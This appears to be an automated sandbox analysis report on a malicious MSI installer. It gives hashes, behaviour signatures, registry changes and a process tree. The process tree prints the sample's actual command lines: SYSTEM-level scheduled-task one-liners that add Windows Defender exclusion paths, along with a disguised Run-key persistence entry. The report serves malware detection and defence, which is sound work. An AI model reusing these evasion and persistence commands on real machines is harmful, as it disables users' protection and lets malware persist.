Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
03/08/2026, 05:09
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
install_upr013.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
24 signatures
150 seconds
Behavioral task
behavioral2
Sample
install_upr013.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
25 signatures
150 seconds
General
- Target install_upr013.msi
- Size 5.9MB
- Sample260803-ftft3acd83
- SHA256 fb8b4b733347c3ab0feca0e91fbc506e74129a3f1e9e3c93fdc55310cb82323d
- MD5 cf22f6d4c0a720f15e327be47189afd5
- SHA1 9f1fe519b3c2ce32250b7a6ec70822d02a9ef9ba
- SHA512 ac98a45ba6d59b8b1033e4fbfe50c70e1aa24e3d96ceb24040b555b2a193adb164ec9c7380c58951583f8fb281860a568bd6f120199316452d9c1b947eb15463
- SSDEEP 98304:jJdzXYllrgYXrG33/mMyiC/0u0AkL2JuRT2Ni0pr4PaL4Anfkr0WkDLZ8LBCrNdJ:jTzIllrg+rG3PmDv/0u0APiT2o0prcgj
- TLSH T1B65633D13CC61335C097C370820336AE722EBFE6AE759D0E9AC9BB490D326395675399
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\N4pEjv = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation ov7EcW.exe - Executes dropped EXE 1 IoCs
pid Process 1804 ov7EcW.exe - Loads dropped DLL 2 IoCs
pid Process 3200 MsiExec.exe 1804 ov7EcW.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\N4pEjv\\ov7EcW.exe\"" ov7EcW.exe - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 20 3200 MsiExec.exe 24 3200 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\A: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 1224 cmd.exe 3896 cmd.exe 2920 cmd.exe 1768 cmd.exe 4692 cmd.exe - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b ov7EcW.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe - Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\Installer\e5874ae.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI75A8.tmp msiexec.exe File created C:\Windows\Installer\e5874b0.msi msiexec.exe File created C:\Windows\Installer\e5874ae.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{AB5B91D2-8262-88C3-C0B3-9F7A3D9BBE66} msiexec.exe File opened for modification C:\Windows\Installer\MSI7636.tmp msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 3860 msiexec.exe - Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5048 cmd.exe 4624 cmd.exe 2988 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000020c8f0fe5d92f37a0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000020c8f0fe0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff00000000070001000068090020c8f0fe000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a20c8f0fe000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d20c8f0fe000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\PackageCode = "08CC7084554ED204582D5016539DE900" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Version = "84017285" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\ProductName = "TRUNC Licensing Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\PackageName = "install_upr013.msi" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Clients = 3a0000000000 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66\UuueatYAD msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 400 schtasks.exe 2472 schtasks.exe 1076 schtasks.exe 4476 schtasks.exe 5060 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4460 msiexec.exe 4460 msiexec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 3200 MsiExec.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe 1804 ov7EcW.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 660 Process not Found 660 Process not Found 660 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3860 msiexec.exe Token: SeIncreaseQuotaPrivilege 3860 msiexec.exe Token: SeSecurityPrivilege 4460 msiexec.exe Token: SeCreateTokenPrivilege 3860 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3860 msiexec.exe Token: SeLockMemoryPrivilege 3860 msiexec.exe Token: SeIncreaseQuotaPrivilege 3860 msiexec.exe Token: SeMachineAccountPrivilege 3860 msiexec.exe Token: SeTcbPrivilege 3860 msiexec.exe Token: SeSecurityPrivilege 3860 msiexec.exe Token: SeTakeOwnershipPrivilege 3860 msiexec.exe Token: SeLoadDriverPrivilege 3860 msiexec.exe Token: SeSystemProfilePrivilege 3860 msiexec.exe Token: SeSystemtimePrivilege 3860 msiexec.exe Token: SeProfSingleProcessPrivilege 3860 msiexec.exe Token: SeIncBasePriorityPrivilege 3860 msiexec.exe Token: SeCreatePagefilePrivilege 3860 msiexec.exe Token: SeCreatePermanentPrivilege 3860 msiexec.exe Token: SeBackupPrivilege 3860 msiexec.exe Token: SeRestorePrivilege 3860 msiexec.exe Token: SeShutdownPrivilege 3860 msiexec.exe Token: SeDebugPrivilege 3860 msiexec.exe Token: SeAuditPrivilege 3860 msiexec.exe Token: SeSystemEnvironmentPrivilege 3860 msiexec.exe Token: SeChangeNotifyPrivilege 3860 msiexec.exe Token: SeRemoteShutdownPrivilege 3860 msiexec.exe Token: SeUndockPrivilege 3860 msiexec.exe Token: SeSyncAgentPrivilege 3860 msiexec.exe Token: SeEnableDelegationPrivilege 3860 msiexec.exe Token: SeManageVolumePrivilege 3860 msiexec.exe Token: SeImpersonatePrivilege 3860 msiexec.exe Token: SeCreateGlobalPrivilege 3860 msiexec.exe Token: SeBackupPrivilege 452 vssvc.exe Token: SeRestorePrivilege 452 vssvc.exe Token: SeAuditPrivilege 452 vssvc.exe Token: SeBackupPrivilege 4460 msiexec.exe Token: SeRestorePrivilege 4460 msiexec.exe Token: SeRestorePrivilege 4460 msiexec.exe Token: SeTakeOwnershipPrivilege 4460 msiexec.exe Token: SeRestorePrivilege 4460 msiexec.exe Token: SeTakeOwnershipPrivilege 4460 msiexec.exe Token: SeRestorePrivilege 4460 msiexec.exe Token: SeTakeOwnershipPrivilege 4460 msiexec.exe Token: SeBackupPrivilege 3368 srtasks.exe Token: SeRestorePrivilege 3368 srtasks.exe Token: SeSecurityPrivilege 3368 srtasks.exe Token: SeTakeOwnershipPrivilege 3368 srtasks.exe Token: SeBackupPrivilege 3368 srtasks.exe Token: SeRestorePrivilege 3368 srtasks.exe Token: SeSecurityPrivilege 3368 srtasks.exe Token: SeTakeOwnershipPrivilege 3368 srtasks.exe Token: SeRestorePrivilege 4460 msiexec.exe Token: SeTakeOwnershipPrivilege 4460 msiexec.exe Token: SeRestorePrivilege 4460 msiexec.exe Token: SeTakeOwnershipPrivilege 4460 msiexec.exe Token: SeRestorePrivilege 4460 msiexec.exe Token: SeTakeOwnershipPrivilege 4460 msiexec.exe Token: SeRestorePrivilege 4460 msiexec.exe Token: SeTakeOwnershipPrivilege 4460 msiexec.exe Token: SeRestorePrivilege 4460 msiexec.exe Token: SeTakeOwnershipPrivilege 4460 msiexec.exe Token: SeRestorePrivilege 4460 msiexec.exe Token: SeTakeOwnershipPrivilege 4460 msiexec.exe Token: SeRestorePrivilege 4460 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3860 msiexec.exe 3860 msiexec.exe - Suspicious use of WriteProcessMemory 25 IoCs
description pid Process procid_target PID 4460 wrote to memory of 3368 4460 msiexec.exe 97 PID 4460 wrote to memory of 3200 4460 msiexec.exe 99 PID 1804 wrote to memory of 1224 1804 ov7EcW.exe 104 PID 1224 wrote to memory of 5060 1224 cmd.exe 106 PID 1804 wrote to memory of 3896 1804 ov7EcW.exe 107 PID 1224 wrote to memory of 4824 1224 cmd.exe 109 PID 3896 wrote to memory of 400 3896 cmd.exe 112 PID 1224 wrote to memory of 4044 1224 cmd.exe 114 PID 1804 wrote to memory of 2920 1804 ov7EcW.exe 115 PID 3896 wrote to memory of 4052 3896 cmd.exe 117 PID 2920 wrote to memory of 2472 2920 cmd.exe 119 PID 3896 wrote to memory of 2016 3896 cmd.exe 120 PID 2920 wrote to memory of 3516 2920 cmd.exe 121 PID 2920 wrote to memory of 2236 2920 cmd.exe 122 PID 5048 wrote to memory of 1900 5048 cmd.exe 123 PID 1804 wrote to memory of 1768 1804 ov7EcW.exe 124 PID 1768 wrote to memory of 1076 1768 cmd.exe 126 PID 1768 wrote to memory of 960 1768 cmd.exe 127 PID 1768 wrote to memory of 772 1768 cmd.exe 130 PID 4624 wrote to memory of 4940 4624 cmd.exe 131 PID 1804 wrote to memory of 4692 1804 ov7EcW.exe 132 PID 4692 wrote to memory of 4476 4692 cmd.exe 134 PID 4692 wrote to memory of 1800 4692 cmd.exe 135 PID 2988 wrote to memory of 3420 2988 cmd.exe 138 PID 4692 wrote to memory of 204 4692 cmd.exe 139 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_upr013.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3860
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4460 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:3368
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 1453F8AB7BE919429F9A0B7532EF95C1 E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3200
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:452
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C:\Users\Public\N4pEjv\ov7EcW.exeC:\Users\Public\N4pEjv\ov7EcW.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1804 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\N4pEjv\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1224 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\N4pEjv\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5060
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4824
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4044
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3896 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:400
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4052
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2016
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2920 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2472
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3516
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2236
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1768 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1076
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:960
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:772
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4692 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4476
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1800
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:204
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\N4pEjv" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5048 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\N4pEjv" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1900
